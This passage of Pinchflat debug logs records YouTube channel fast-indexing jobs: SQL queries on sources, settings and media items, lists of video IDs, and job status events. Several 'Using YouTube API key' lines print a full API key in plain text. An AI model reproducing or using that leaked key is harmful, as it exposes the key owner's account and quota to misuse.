"rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 18:06:42.442 [debug] QUERY OK source="media_items" db=0.8ms idle=89.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 18:06:42.443 [debug] QUERY OK source="tasks" db=0.1ms idle=90.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800357, 16, ~U[2026-02-11 00:06:42Z], ~U[2026-02-11 00:06:42Z]] 18:06:42.443 [info] {"args":{"id":16},"id":3800318,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91365,"event":"job:stop","queue_time":461381,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:43.352 [info] {"args":{"id":43},"id":3800319,"meta":{},"system_time":1770768403352838621,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:43.353 [debug] QUERY OK source="sources" db=0.1ms idle=909.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 18:06:43.353 [debug] QUERY OK source="settings" db=0.1ms idle=910.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:43.353 [debug] QUERY OK source="media_profiles" db=0.0ms idle=903.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:43.353 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:43.353 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 18:06:43.353 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:43.354 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:43.456 [debug] QUERY OK source="media_items" db=0.5ms idle=102.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 18:06:43.457 [debug] QUERY OK source="media_items" db=0.7ms idle=102.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 18:06:43.458 [debug] QUERY OK source="tasks" db=0.1ms idle=104.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800358, 43, ~U[2026-02-11 00:06:43Z], ~U[2026-02-11 00:06:43Z]] 18:06:43.458 [info] {"args":{"id":43},"id":3800319,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":105446,"event":"job:stop","queue_time":443998,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:45.354 [info] {"args":{"id":25},"id":3800320,"meta":{},"system_time":1770768405354762337,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:45.355 [info] {"args":{"id":7},"id":3800321,"meta":{},"system_time":1770768405354821917,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:45.355 [debug] QUERY OK source="sources" db=0.2ms idle=476.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:06:45.355 [debug] QUERY OK source="sources" db=0.2ms idle=476.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 18:06:45.355 [debug] QUERY OK source="settings" db=0.1ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:45.355 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:45.355 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:45.355 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:45.355 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:45.355 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 18:06:45.355 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:45.356 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 18:06:45.356 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:45.356 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:45.356 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:45.356 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:45.466 [debug] QUERY OK source="media_items" db=0.6ms idle=109.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 18:06:45.467 [debug] QUERY OK source="media_items" db=1.1ms idle=110.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 18:06:45.468 [debug] QUERY OK source="tasks" db=0.1ms idle=112.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800359, 25, ~U[2026-02-11 00:06:45Z], ~U[2026-02-11 00:06:45Z]] 18:06:45.468 [info] {"args":{"id":25},"id":3800320,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":114022,"event":"job:stop","queue_time":491159,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:45.552 [debug] QUERY OK source="media_items" db=0.5ms idle=83.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 18:06:45.555 [debug] QUERY OK source="media_items" db=1.8ms idle=84.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 18:06:45.555 [debug] QUERY OK source="tasks" db=0.0ms idle=81.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800360, 7, ~U[2026-02-11 00:06:45Z], ~U[2026-02-11 00:06:45Z]] 18:06:45.556 [info] {"args":{"id":7},"id":3800321,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":201014,"event":"job:stop","queue_time":360225,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:46.356 [info] {"args":{"id":20},"id":3800322,"meta":{},"system_time":1770768406356841485,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:46.357 [debug] QUERY OK source="sources" db=0.1ms idle=801.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 18:06:46.357 [debug] QUERY OK source="settings" db=0.1ms idle=801.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:46.357 [debug] QUERY OK source="media_profiles" db=0.1ms idle=795.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:46.357 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:46.357 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 18:06:46.357 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:46.358 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:46.451 [debug] QUERY OK source="media_items" db=0.7ms idle=93.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", 